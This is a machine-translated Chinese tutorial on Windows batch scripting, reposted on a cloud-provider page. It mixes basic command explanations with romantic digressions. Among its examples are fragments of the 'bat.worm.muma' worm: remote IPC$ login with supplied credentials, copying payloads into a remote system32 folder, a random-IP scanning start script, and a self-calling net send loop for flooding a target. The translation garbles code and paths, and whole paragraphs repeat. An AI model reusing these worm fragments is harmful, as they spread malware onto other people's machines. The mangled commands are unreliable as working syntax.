Turn: the Windows batch processing function is very powerful with scripts!

Source: Internet
Author: User
Tags echo command echo display net send
I have been engaged in several video codec quality analyses recently. I need to write several scripts and found that in addition to the powerful functions of Python, basic doscommands are also necessary. So I have read several articles.

The following article is reproduced from:

The Windows batch processing function is very powerful in combination with scripts! (1): http://blog.chinaunix.net/article.php? ArticleID = 60682 & blogid = 11648

The Windows batch processing function is very powerful in combination with scripts! (2 ):

Http://blog.chinaunix.net/article.php? ArticleID = 60684 & blogid = 11648

The Windows batch processing function is very powerful in combination with scripts! (3 ):

Http://blog.chinaunix.net/article.php? ArticleID = 60685 & blogid = 11648

The Windows batch processing function is very powerful in combination with scripts! (4 ):

Http://blog.chinaunix.net/article.php? ArticleID = 60686 & blogid = 11648

The Windows batch processing function is very powerful in combination with scripts! (1)

This is a technical tutorial. I will express my meaning in a very simple text. You will be able to understand what you want to read and learn. The purpose of this tutorial is to let every friend who has read these texts remember one sentence: If love can make things easier, make it easier! The method for reading this tutorial is slow! Slowly, just like a woman and a cup of tea, you will find that many things that were just in front of you suddenly become far away, and some very distant things have suddenly returned to our eyes.

First, let's outline what batch processing is. So far, I have not been able to give a suitable definition of batch processing-Not many experts have given it-I don't know-I'm not necessarily convinced after reading it-I'm a cainiao, of course, I don't need to mention it. But I want to sum up a "more appropriate", and I believe I can explain it clearly, let more cainiao know what this is and what you can do with it. Maybe you will "Fall In Love With Batch Processing unconditionally" because of this article, so my goal is achieved-I am trying to make you fall in love with it, so I am so jealous, what can you do ?? Really, sometimes love is so arrogant, that's no reason, it's so shameless! Really!

According to my understanding, the essence of batch processing is a collection of DOS commands in a certain order.

This is a technical tutorial. I will express my meaning in a very simple text. You will be able to understand what you want to read and learn. The purpose of this tutorial is to let every friend who has read these texts remember one sentence: If love can make things easier, make it easier! The method for reading this tutorial is slow! Slowly, just like a woman and a cup of tea, you will find that many things that were just in front of you suddenly become far away, and some very distant things have suddenly returned to our eyes.

First, let's outline what batch processing is. So far, I have not been able to give a suitable definition of batch processing-Not many experts have given it-I don't know-I'm not necessarily convinced after reading it-I'm a cainiao, of course, I don't need to mention it. But I want to sum up a "more appropriate", and I believe I can explain it clearly, let more cainiao know what this is and what you can do with it. Maybe you will "Fall In Love With Batch Processing unconditionally" because of this article, so my goal is achieved-I am trying to make you fall in love with it, so I am so jealous, what can you do ?? Really, sometimes love is so arrogant, that's no reason, it's so shameless! Really!

According to my understanding, the essence of batch processing is a collection of DOS commands in a certain order.

OK, never Claver and get to business ). Batch Processing, also known as a batch processing script, is translated into batch in English. The batch processing file suffix bat takes the first three letters. It does not have a fixed format, as long as the following line is followed, it is OK: each line can be viewed as a command, each command can contain multiple sub-commands, starting from the first line of execution, until the last line ends, it runs on DOS. Batch Processing has a distinctive feature: convenient, flexible, powerful, and highly automated. I don't want to make my own tutorials boring, because code is involved (the batch processing content is code ?) The problem is boring, and few people can calm down with full screen code. So I will use a lot of simple and practical examples to let my friends who have read this tutorial experience the charm of batch processing, feel the strange character of batch processing, and unconsciously love batch processing (dizzy, how is love? What is the relationship between batch processing and love? Answer: No !). Let's say "Gossip": to learn batch processing well, the DOS basics must be solid! Of course, flexible mind is also an important aspect.

Example 1: first, give the most easy batch processing script to familiarize everyone with its face and save the following commands as name. BAT and then execute (only the code is provided in the future, and the Save method is similar to the execution method ):

Ping sz.tencent.com> a.txt

Ping sz1.tencent.com> a.txt

Ping sz2.tencent.com> a.txt

Ping sz3.tencent.com> a.txt

Ping sz4.tencent.com> a.txt

Ping sz5.tencent.com> a.txt

Ping sz6.tencent.com> a.txt

Ping sz7.tencent.com> a.txt

Exit

Can you understand it all? Is it easy? However, after performing this batch, you can create a file named a.txt on your own. The recorded information can help you quickly find the fastest QQ server and stay away from the painful process of transferring from the server. Here> means to put the things obtained by the preceding command in the following place,> and> the growth file (think of how to destroy it ??). By the way, this batch processing can also be combined with other commands to achieve a completely automated judgment of the server speed. After the execution, the fastest Server IP address is directly displayed, isn't it great? It will be detailed later.

Example 2: an outdated example (A. BAT) is provided ):

@ Echo off

If exist C: progra ~ 1tencentad *. gif del C: progra ~ 1tencentad *. gif

A. bat

Why is this an outdated example? Very simple, because almost no one has used QQ with advertisements (Kao, My QQ also shows friends !!), So it is almost useless. However, once it was used, it could not be a small glimpse: deleting QQ ads and making the dialog box clean. The address used here is the default installation address of QQ. The default batch processing file name is A. bat. You can modify it as needed. The IF command is used in this script to determine and delete ad images in a timely manner. You only need to disable the DOS window after the command is executed, without pressing CTRL + C to forcibly terminate the command, it keeps monitoring whether there are advertisement images (qq also keeps checking whether its advertisement has been deleted ). Of course, this script occupies a little bit of memory.

Example 3: Use the batch processing script to check whether the glacier is in progress. The script content is as follows:

@ Echo off

Netstat-a-n> a.txt

Type a.txt | find "7626" & Echo "Congratulations! You have infected glacier! "

Del a.txt

Pause & Exit

Here, the netstat command is used to check the status of all network ports. You only need to know the ports used by common trojans to easily determine whether they have been attacked by the glaciers. However, this is not certain, because the default port 7626 of the glacier can be modified completely. This section only describes the methods and ideas. Here we will introduce a slight change to the method and idea to check other Trojan scripts. Then we will change it and add the parameter and port and information list files, the script automatically detects all Trojans. Haha, isn't it fun? The combined commands & and pipeline commands are also used in the script, which will be detailed later.

Example 4: Use batch processing to automatically clear system spam. The script is as follows:

@ Echo off

If exist C: Windows EMP *. * del C: Windows EMP *.*

If exist C: windowstempor ~ 1 *. * del C: windowstempor ~ 1 *.*

If exist C: windowshistory *. * del C: windowshistory *.*

If exist C: Windows ecent *. * del C: Windows ecent *.*

Save the above script content to autoexec. bat, and automatically delete the system garbage every time the system is started. Pay attention to two points: 1. Dos does not support long file names, so Tempor ~ appears ~ 1. You can make changes based on your actual situation so that they meet your requirements.

How are you interested in the batch processing script? Did you find yourself falling in love with this stuff? Don't be happy too early. Love is not a simple task. It may bring you happiness and happiness. Of course, it can also make you think about jumping out of the building. If you know it's hard to continue, I 've got you! Continue to work hard. Maybe you don't necessarily get true love at the end of the day (it's possible that people who love it know it), but you can feel the whole process of love. It's sour, bitter, and spicy. Do you know if it's sweet.

Why is batch processing related to love? I am not bored, nor is it because it is interesting to write in this way. There are two reasons: first, there are many similarities between batch processing and love, in some cases, I can't explain it clearly with a "professional" line (I don't doubt my ability to express myself, but it's hard to make things clear, but what is love? How do I know !!), Maybe you will be able to get twice the result with half the effort. Why not? Second, I am in a bad status during this period. I have a cold, a fever, a headache, and a nose, but I am still suffering from emotional mental damages. I am tired of people. I am sorry to say a few words when I write a tutorial, everyone needs to buy a dog skin plaster and ignore it (maybe it's a bit effective-it won't let you look at it and then fall asleep, so you can bid your head and come to me to reimburse your medical expenses ). Maybe in the next tutorial, you will see the heroes of Yang Guo, Zhang Wuji, and other elders.

My friends who have read chapter 1 must have a preliminary impression on batch processing and know what it is. But do you know where the essence of batch processing is? In fact, it is very simple: the idea should be flexible! Nothing can be done, just unexpected. This is a little different from love, because the world of love is the world of two people, wishful thinking is not called love (Supplement: it is called Single Love. Nonsense !) Batch processing is a paradise for one person. You can do whatever you want without reaching the realm!

Batch Processing looks disorganized, but it is logically not inferior to other programming languages (such as assembly). If the script you write is messy, although each line of commands is correct, however, after executing the command from the beginning to the end, you may not necessarily get the expected result, maybe it is a screen of bad command or fail name. This has something in common with love: operating by steps, and missing or increasing steps may lead to unexpected results. A friend who falls in love, I believe this sentence is not certain. My love batch processing, the output result is not bad command or fail name, the screen is shown as follows: 'Your love' is not an internal or external command, it is not a running program or batch processing file. Then the cursor keeps flashing and waits for the wrong input.

Starting from this chapter, we will introduce the commonly used commands in batch processing in a simple way. Many common DOS commands are widely used in batch processing scripts, which are the body part of the batch processing script, however, batch processing is more flexible and more automated than DOS. To learn batch processing well, DOS must have a solid foundation. Here we will only describe some doscommands that are rarely used (relatively speaking). Common commands such as copy and Dir will not be introduced (these seemingly simple commands are actually very complicated, I am afraid I cannot make it clear !).

Example 5: first look at an instance. This is a very interesting script. It is a small and practical tool that shows the batch processing features in full automation. First, let's introduce the history of this script: we all know the process of installing the assembler (MASM). First, we need to compile and connect the source code, and then execute it, there are many links in the middle that require a lot of input, which is very troublesome (only experienced friends can understand ). How can this process be simplified? During our compilation course design, I was forced to write this script, which was very helpful. Check the script content:

@ Echo off

: Close echo

CLS

: Clean screen

Echo this programme is to make the MASM programme automate

: Display info

Echo edit by CodeRed

: Display info

Echo mailto me: qqkiller *** @ Sina.com

: Display info

If "% 1" = "" Goto usage

: If input without paramater goto usage

If "% 1" = "/? "Goto usage

: If paramater is "/? "Goto usage

If "% 1" = "help" Goto usage

: If paramater is "help" Goto usage

Pause

: Pause to See Usage

MASM % 1.asm

: Assemble the. ASM code

If errorlevel 1 pause & edit % 1.asm

: If error pause to see error MSG and edit the code

Link % 1.obj & % 1

: Else link the. OBJ file and execute the. exe file

: Usage

: Set usage

Echo usage: This BAT file name [ASM file name]

Echo default BAT file name is start. bat

: Display usage

Don't be scared by this pile of things first, so calm down and take a closer look (think about how the first section in Chapter 1 was written !!). The explanation of each line of commands has been given. The content after the two colons is the E text explained in the previous line. (If you are afraid of E text, you don't have to worry about it. It's easy, I understand it at a Glance. I really don't understand it. I don't know how to look up dictionaries. Is it so lazy ?), It is not displayed during script execution and does not play any role. There is a colon at the beginning of the last 5th rows. It's not a mistake! The specific functions will be detailed later. In this script, MASM and link are Assembler and connection programs. They must be related to the Edit Program and the source code you want to edit. (Of course, this script is also nonsense !) Together in the current directory. Using this batch processing script can minimize manual input. during the entire process, you only need to press a few enter keys to implement automatic conversion from the Assembly source code to the executable EXE file, intelligent judgment: if an error occurs in the source code during compilation (Assembly fails), the error message is automatically paused and automatically enters the source code editing interface after pressing any key; if the source code compilation is successful, connect and automatically execute the generated EXE file after the connection. In addition, because of the simplicity and flexibility of the batch processing command, this script also has a good option to modify, simple modification can meet the machine habits of different friends. If you are learning compilation, do not forget to take an internship!

In this script, the following commands are displayed: @, Echo,:, pause,: And Goto, %, and if. This chapter describes these commands.

1 ,@

There are no strangers to this symbol. How can it be used for batch processing? Well, it's not its fault. batch processing is inseparable from it, or it's not perfect. It does not display the command line after it in the execution window (what a detour !). Well, in other words, the command line will not be displayed if the line has its first line. In Example 5, in the @ echo off line at the beginning, @ is used to prevent the script from displaying the echo off part at execution. Do you understand this? Still not quite familiar with it? It doesn't matter. After reading the echo command introduction, you will naturally understand it.

2. Echo

The Chinese characters are "feedback" and "Echo. It is actually a switch command, that is, it has only two States: open and close. So there are two commands, echo on and echo off. Directly executing the echo command will display the status (off or on) of the current echo command. Executing the echo off command will turn off echo display, and all subsequent commands will not display the command itself, only the execution result is displayed, unless the echo on command is executed. In Example 5, the @ command in the first line is combined with the echo off command to achieve two purposes: the echo off command itself is not displayed, and the commands in the subsequent lines are not displayed. It is a bit messy, but if you practice it, you will get a 3-minute package and will not refund the money!

Another way to use the echo command is to use it to display information! For example, in Row 5, the default BAT file name is start. bat is displayed in the window after the script is executed, but the echo command itself is not shown (Why ??).

Another method of ECHO command 2: You can directly edit a text file. Example 6:

Echo nbtstat-A 192.168.0.1> A. bat

Echo nbtstat-A 192.168.0.2> A. bat

Echo nbtstat-A 192.168.0.3> A. bat

The preceding script content can be edited by entering the content in the command line with a carriage return on each line. Finally, a file a. bat will be generated in the current directory and the result will be obtained after direct execution.

3 ,::

The function of this command is very simple. It is a comment command, which is equivalent to the REM command in the batch processing script. The content after it is not displayed during execution, and it does not play any role, because it is only a comment, but increases the readability of the script, and the/* in the C language /*............ */Similar. Everyone on Earth can understand it, so I won't say much.

4. Pause

Pause (look at your workman). I always think it is the simplest command in batch processing, simple and practical. It is used to pause the current program process and display a line of information: press any key to continue .... In Example 5, this command is used twice. The first function is to let the user see the program information, and the second is to display the wrong assembly code information (not the information it wants to display, instead, the MASM program is temporarily suspended when an error message is displayed, so that you can see where your source code is wrong ).

5.: And GOTO

Why should we introduce these two commands together? Because they are inseparable, no matter which one is missing or which one is missing, errors will occur. Goto is a jump command, which is a tag. When the program runs to goto, it will automatically jump to: the defined part is executed (is it inseparable ?). In Example 5, the first row of the last 5th rows appears: when the program runs to goto, it automatically jumps to the execution of part of the label definition. The result is the script usage (usage is the label name ). It is not hard to see that the Goto command is based on the colon and Tag name to find the place where it should jump. They are a one-to-one correspondence. The Goto command is often used in combination with the if command. For the specific usage of the two commands, see Example 5.

Another way to use the Goto command is to terminate the program in advance. In the program, use the Goto command to jump to a tag. The content of this tag is defined as exit. For example:

......

Goto end

......

: End

Here: end is in the last line of the script! In fact, this example is very mentally retarded. You will know about the if Command and the combined command later.

6.%

This percent number is strictly not a command. It is only a parameter in batch processing (except when multiple % are used together, which will be detailed later ), but never underestimate it as a parameter. (See how many places in Example 5 use it ?), The batch processing function is reduced by 51%. Let's take a look at Example 7:

Net use/% 1ipc $ % 3/u: "% 2"

Copy 11.bat/% 1 ADMIN $ system32/y

Copy 13.bat/% 1 ADMIN $ system32/y

Copy ipc2.bat/% 1 ADMIN $ system32/y

Copy nwzi. EXE/% 1 ADMIN $ system32/y

Attrib/% 1 ADMIN $ system3210.bat-r-H-S

The above code is part of the bat. worm. muma virus. % 1 represents the IP address, 2% represents the username, and 3% represents the password. The execution format is: script file name parameter 1 parameter 2 ....... Assume that the script is saved as a. bat. The execution format is as follows: a IP Username Password. Here, IP, username, and password are three parameters, which are indispensable (because the program cannot run correctly, not because the parameter syntax is missing) during script execution, the script automatically uses your three parameters in sequence (Remember, in turn! Is also a one-to-one correspondence .) Replace 1%, 2%, and 3% for the purpose of flexible use (imagine if ip, username, and password are defined in the script, the role of the script is fixed, but if % is used, different parameters can achieve different purposes. Is it more flexible ?).

The usage of this parameter will be described in subsequent sections. You must be very skilled. This requires a lot of exercises and effort!

This chapter is written here. Some may have asked: Why didn't I introduce the if command? Well, it's not something I forgot, but it's not easy to make it clear. I'll talk about it in the next chapter! If you are a beginner, I am afraid it is enough to digest this chapter. Remember one sentence: DOS is the body of batch processing. Any DOS command can be used in batch processing scripts to complete specific functions. So far, have you ever thought of writing something with automation in your own stomach? It is very simple. It is just a collection of doscommands. I believe that, if you call yourself a genius, you will have automatically completed the DOS part of the Computer Level examination questions using batch processing.

Annoying! It's like a half-old woman has reached the menopause. She wants to say a few things and feels uncomfortable about everything. Knowing that there are tigers in the mountains, they prefer to go through the mountains and finally leave behind a scar without success, only to find that they are so fragile, so small, so vulnerable. On the verge of collapse, I suddenly recalled my last flat moments. I really miss it. (In fact, I really don't like flat people, but I don't like flat people ). I need to vent. I beat the keyboard with my fingers, and these words appeared on the screen in a burst of rhythmic sounds. But is this another way of venting? The Chinese are still amazing. As early as thousands of years ago, Kong's husband and wife said, "only women and people are difficult to raise". I really appreciate it! Although it is venting, please rest assured that with my temper, since I decided to write this tutorial, I will try my best to write it well and write it perfectly without leaving any regrets for myself, otherwise, this tutorial is not written by me!

The Windows batch processing function is very powerful in combination with scripts! (2)

There was a classic batch processing tutorial that appeared on your screen. You didn't save it until you couldn't find the link to it. The greatest pain in the world is this. If God could give you another chance, you would say three words to the Tutorial: I love you! If you have to add a deadline for this love, you hope it will be 100. Because after March 100, you may have crashed! Now, this batch processing tutorial you are reading appears on your screen. Although it is not as good as the classic one you have read, if you barely continue. Will you love it? Will the time be 50 years long? The answer is: Try it.

Several of the most important commands in the batch processing script will be described in detail in this chapter, but unfortunately, I have not mastered some details yet, even some points. Just as you do not know much about love. But I have been working hard, even if I have never been rewarded. So it may be more general, but I will tell you the method. The rest is time, and you need to hone it on your own. Let's work together. Freezing is not a day's cold, but a day's work. Some things, such as batch processing, such as loving a person, cannot be achieved quickly, or even suffer from hardships and little gains. I would like to reiterate that when reading this tutorial, you must calm down, unless you have mastered all the things in this tutorial-but you don't have to read it, it's a waste of time!

There was a classic batch processing tutorial that appeared on your screen. You didn't save it until you couldn't find the link to it. The greatest pain in the world is this. If God could give you another chance, you would say three words to the Tutorial: I love you! If you have to add a deadline for this love, you hope it will be 100. Because after March 100, you may have crashed! Now, this batch processing tutorial you are reading appears on your screen. Although it is not as good as the classic one you have read, if you barely continue. Will you love it? Will the time be 50 years long? The answer is: Try it.

Several of the most important commands in the batch processing script will be described in detail in this chapter, but unfortunately, I have not mastered some details yet, even some points. Just as you do not know much about love. But I have been working hard, even if I have never been rewarded. So it may be more general, but I will tell you the method. The rest is time, and you need to hone it on your own. Let's work together. Freezing is not a day's cold, but a day's work. Some things, such as batch processing, such as loving a person, cannot be achieved quickly, or even suffer from hardships and little gains. I would like to reiterate that when reading this tutorial, you must calm down, unless you have mastered all the things in this tutorial-but you don't have to read it, it's a waste of time!

7. If

Next, let's talk about the if command. In general, the IF command is a command that indicates judgment. According to each result, it can correspond to a corresponding operation. The three usage methods are described separately here.

(1) Input judgment. Let's look at the words in case 5:

If "% 1" = "" Goto usage

If "% 1" = "/? "Goto usage

If "% 1" = "help" Goto usage

Here, the input parameter is determined. If the parameter is null (No parameter), the system jumps to usage. If the parameter is /? Or help (if you look at the help of a command, do you enter /? Or help. Here we do this only to make the script look more like a real Program) and jump to usage. The negative form can also be used to indicate "not equal to", for example, if not "% 1" = "" Goto usage, it indicates that if the input parameter is not null, it will jump to the usage. (In practice, this is meaningless. Here we will introduce the usage, so it won't be enough .) Is it easy? In fact, the style will be understand after translation.

(2) Existence judgment. Let's look at this sentence in Example 2:

If exist C: progra ~ 1tencentad *. gif del C: progra ~ 1tencentad *. gif

Delete GIF files if they exist. Of course, Example 4 is the same. Note that the condition judgment here is to determine whether there is a, of course, it can also determine that there is no, for example, the following sentence "if there are no GIF files, exit the script": If not exist C: progra ~ 1tencentad *. gif exit. Only one more not indicates no.

(3) determine the result. Let's take the example. (I didn't expect my own script to be so useful, huh, huh ):

MASM % 1.asm

If errorlevel 1 pause & edit % 1.asm

Link % 1.obj

Compile the source code first. If the source code fails, the error message will be paused. Press any key to automatically enter the editing page. Otherwise, the OBJ file generated by the link program will be connected. Here we will only describe what is related to the IF command. & the command will be discussed later. This method is to first determine the return code after the previous command is executed (also known as the error code, the DOS program has a return code after running ), if it is consistent with the defined error code (the defined error code here is 1), perform the corresponding operation (here the corresponding operation is pause & edit % 1. ASM ).

In addition, like the other two methods, this method can also be negative. The meaning of the above three sentences is still expressed in a negative form, and the code becomes:

MASM % 1.asm

If not errorlevel 1 link % 1.obj

Pause & edit % 1.asm

Have you seen the essence? In fact, the Command executed after the result is judged is exchanged. The effect of "if not errorlevel 1" and "If errorlevel 0" is equivalent, all indicate that the previous MASM command is successfully executed (because it is an error judgment and the return code is 0, 0 indicates no, that is, this error does not exist, that is, the MASM command is successfully executed ). Whether to add not here. Whether the error code is 0 or 1 is two issues worth consideration. Once the script fails to be matched, the error will surely occur. Therefore, you must be very familiar with it. How can we be profound? Exercise! Write a script by yourself, and write in the case that there is not and there is no not, And the return code is 0 or 1 respectively for execution (why is it too troublesome? You may be in trouble when sorting and combination is only four? It is more troublesome to introduce pipeline commands and combined commands later! Afraid? Haha .), In this way, we can clearly see the differences between the two situations from the execution results.

The use of errorlevel results is the most difficult to use the if command, but it is also the most useful usage. If you do not use errorlevel to judge the return code, the same effect will be achieved, else must be used to represent "otherwise" operations, which is quite troublesome. The above code must be changed:

MASM % 1.asm

If exist % 1.obj link % 1.obj

Else pause & edit % 1.asm

The usage of the IF command is easy to understand, but the application is not necessarily so handy, mainly because of proficiency. Some may be a little surprised. Why didn't I give an introduction to the usage similar to the following three lines, because the following three lines explain its usage in the help of the IF command. Anyone only needs one "If /?" As you can see, I don't have to pay more for it here. The more important reason is that I don't think it is clear that the people who read it may understand it, so I will introduce the above self-understanding of the IF command. It must be noted that these three usage formats are different and cannot be changed, but they can actually be exchanged (thought in essence, these three usage methods are based on judgment. Philosophy teaches us how to view the essence of things through phenomena !). If you are interested, you can study it yourself.

If [not] errorlevel number do command

If [not] string1 = string2 do command

If [not] exist filename do command

8. Call

If you have learned assembly or C, you must know what the call command means. Here it actually means the same. In the batch processing script, the call command is used to call another batch processing script from one batch processing script. Example 8 (the default file names of the three scripts are start. bat, 10. bat, and IPC. BAT ):

Start. BAT:

......

Call 10.bat 0

......

10. BAT:

......

Echo % IPA %. % 1> hfind. tmp

......

Call IPC. Bat ipcfind.txt

IPC. BAT:

For/F "tokens = 1, 2, 3 delims =" % I in (% 1) do call hack. Bat % I % J % K

Have you seen anything wrong? Didn't you see it? It's right if you don't see it. Actually, there's nothing wrong with it. What do you think! From the above two scripts, you can get the following information: 1. script calling can be used flexibly, cyclically, and repeatedly. 2. parameters can be used for script calls! I won't talk much about the first point. If you are smart, you should have a look at it. here we will talk about the second point.

In start. bat, 10. bat is followed by the parameter 0. The execution result is actually replacing the parameter % 1 in 10. bat with 0. In start. in bat, ipc.batfollows ipcfind.txt (a file can also be used as a parameter). The effect during execution is that IPC is used. the three variables in each row in BAT (it doesn't matter if you don't understand them here. After you have learned the for command, you will understand it. % I, % J, and % K in bat. Here, parameter calls are very flexible, so you need to understand them well. When you are a beginner, you can first learn to call only scripts. As for the use of the parameters of the script together, you will naturally have a deep understanding in the subsequent study, this is because after you can use the batch processing script flexibly, the scope of consideration is naturally included in how to make code writing more streamlined, more perfect, and more efficient, at this time, you will find that adding parameters directly to the script can double the code efficiency. By the way, the above scripts are part of the bat. worm. muma virus. In the subsequent tutorial, you will have the opportunity to see the true face of the virus.

That's not to say, there are at least two batch processing script files in the same directory (only one is called ?)? Oh, please note that this sentence is wrong !! Only one can call ---- call itself! Example 9 (default script file name A. BAT ):

Net send % 1 This is a call example.

Call a. bat

The combination of these two sentences is naturally not very effective, because only one machine sends messages. who are afraid of it? I will give you a courtesy exchange! If 100 machines run simultaneously, and each machine opens 10 windows and sends messages to a target machine at the same time. The purpose of call a. bat is to call itself and execute the net send command before calling itself. This achieves the purpose of loop execution.

Give a very interesting script. If you are interested, you can experiment with it. Example 10 (the default script file name is A. BAT ):

Call a. bat

It must be executed in the DOS window; otherwise, only one window will flash and the final result will not be seen. After execution, when the script is executed 1260 times, don't forget to think about why! Sometimes love is like this script. Once it falls into an endless loop, the final result is unexpected. It's just love. It never waits until there are so many cycles without any reason. Maybe the love is aborted prompt appears in the third time.

9. Find

This is a search command used to search for a specific string in a file. It is usually used as a foreshadowing program for condition judgment (how can I suddenly think of these four words ?). This command is rarely used in batch processing because it has no practical significance. Let's refer to Example 3:

@ Echo off

Netstat-a-n> a.txt

Type a.txt | find "7626" & Echo "Congratulations! You have infected glacier! "

Del a.txt

Pause & Exit

First, use the netstatcommand to check whether the port number of the frozen river is 7626, and save the result to a.txt. Then, use typescripts to list the contents in a.txt, and then search for the string "7626" in the listed content. If any, the system will prompt that the system is in progress. Otherwise, the system will exit. Look, the find command is actually so simple, but one thing you must note: if you do not use the typecommand to list the content in a.txt, you can directly use the findcommand to find "7626" (find a.txt "7626" & Echo "Congratulations! You have infected glacier! "Then, the absolute path of a.txt must be provided. (I have tried it and find does not have the default path, which is the function of the current path. It must be specified manually. Maybe I am wrong. please correct me ). In the help of the find command, there is one sentence: If no path is specified, find searches for text typed or generated by another command. The "another command" here is actually the type command.

As for the other parameters of the find command, such as V, N, and I, if you are interested, study them by yourself. This is already a part of DoS learning and will not be introduced here. Some of the more sophisticated usage of the find command and other commands (some of which are amazing) will be introduced in subsequent tutorials.

10. For, set, shift

Why are these three commands put together? I am afraid no one can think of the reason except for my explanation! A simple sentence: I don't know much about it! Yes, for these two commands, I am studying bat. worm. the muma virus has been learning for a long time, but I still don't fully understand it. I am afraid that I can't even understand myself, and I am even more afraid that my mistake will become a sinner. So I will give you a script to tell you how to make these two commands give you a preliminary impression, which is actually the entry of these two commands, not how to understand these two commands. It's easy to understand these two subtle commands (especially! Maybe you will praise me for saying that I am honest, do not understand, do not understand; maybe you will scold me, so that I do not understand quickly get out of the box, do not be conspicuous here; maybe you will say something as nice or unpleasant as you like. Even if I don't agree with what you say, I will swear to defend your right to speak. Example 11:

@ Echo off

For /? > For.txt

Set /? > Set.txt

Shift /? > Shift.txt

Exit

After the command is executed, for.txt0000set.txtand shift.txt files are generated in the previous example. The help information of the for command, SET command, and shift command is recorded respectively. Everyone on Earth can understand it, so I will not say much. I have been looking for tutorials on these three commands for a long time on the Internet, but they are not ideal. Basically, they are all copies of help information. I want to write a for, set, and shift tutorial (about the shift command, the batch processing parameters will also be introduced later). Yes, this is one of my wishes! Note that the help of these three commands is rigid. Although some examples are provided, this is far from enough. To master these two commands, you need patience! No error. It is patience. It takes enough patience to read their help text carefully. Do you need more patience to practice and comprehend these two commands? I will leave you with the opportunity to practice in practice. The key is the sentence. Check if you have the patience to study it. Let's take a look at example 12:

Start. BAT:

Call muma. bat

Set IPA = 192.168

Call 10.bat 0

: Nearagain

Netstat-N | find ":"> A. tmp

For/F "tokens = 7,8, 9, 10, 12 delims =.: "% I in (. TMP) do set num1 = % I & set num2 = % J & set num3 = % K & set num4 = % L & set num5 = % M & & call near. bat

: Start

Call random. bat

If "% num1 %" = "255" Goto nearagain

If "% num1 %" = "192" Goto nearagain

If "% num1 %" = "127" Goto nearagain

If "% num2 %" = "255" Goto nearagain

If "% num3 %" = "255" Goto nearagain

If "% num4 %" = "255" Goto nearagain

Set IPA = % num1 %. % num2 %

Echo Start> A. Log

Ping % IPA %. % num3 %. 1> B. tmp

Ping % IPA %. % num3 %. % num4 %> B. tmp

Find/C/I "from" B. tmp

If errorlevel 1 goto start

Call 10.bat % num3 %

Del A. Log

Goto start

This is the starting script for bat. worm. muma virus and sets the environment variable for virus running. Are the headers all big? I forgot to write the sentence in the first section of chapter (calm down !), You should be able to understand the patience required to learn these two commands. Just like loving a person, you have to learn tolerance, fight, and accept everything with your big mind, even if you find that the process of loving her is as big as the process of reading the code above, you still have to love it-do you need a reason? No? Yes? No ...... After the calm and calm, the most intuitive result is that your patience has never been sufficient. In the face of her complexity and stability, you will not be surprised by yourself, in your own way, you can easily cope with scenes that you once could not cope with. Even if you get the last scar, you will feel how great your behavior was.

Yes, this is the charm of batch processing, and the charm of love. Thank you for hurting you. This feeling is like being hurt and happy in your favorite music.

I have to repeat it again. Various doscommands are the batch processing body (I can't find a more appropriate word to describe the relationship between them). Learning doscommands is the prerequisite for learning batch processing well. Other doscommands include copy, Dir, Del, type, path, break, start, and other internal commands, as well as external commands such as ping, net, CMD, AT, sort, attrib, FC, and find, batch Processing is widely used. The purpose of this tutorial is to teach you how to use the DOS command to combine a perfect batch processing script to automatically complete what you want it to do. The flexible editing of a batch processing script is based on mastering the DOS command, which is beyond the scope of this article and will not be repeated here.

Unconsciously, Chapter 3 is over. The headset still comes from Chen Xiaodong's "better than me", which is automatically replayed at 4 minutes 32 seconds. Although I do not like Chen Xiaodong very much, it does not affect my liking for music. Please be happier than me/don't waste money, I'm so embarrassed to quit/then hurt or not bitter/love don't have to be sorry to make up/at least I can fulfill your pursuit/please remember that you are better than me happiness/makes me cruel to myself/my silent countdown/finally I will show you clearly/see me in your eyes/slowly get exile. I am like an old prostitute who is not able to attract customers because of my old age. I am desperate to wander in the glorious red-light area, and suddenly glance at the people who come and go with a face, silently remembering the past that is not glorious, imagining the future that you will face. It was not until we saw those happy couples who were cuddling together that we suddenly found out that God's fairness was cruel and fair.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.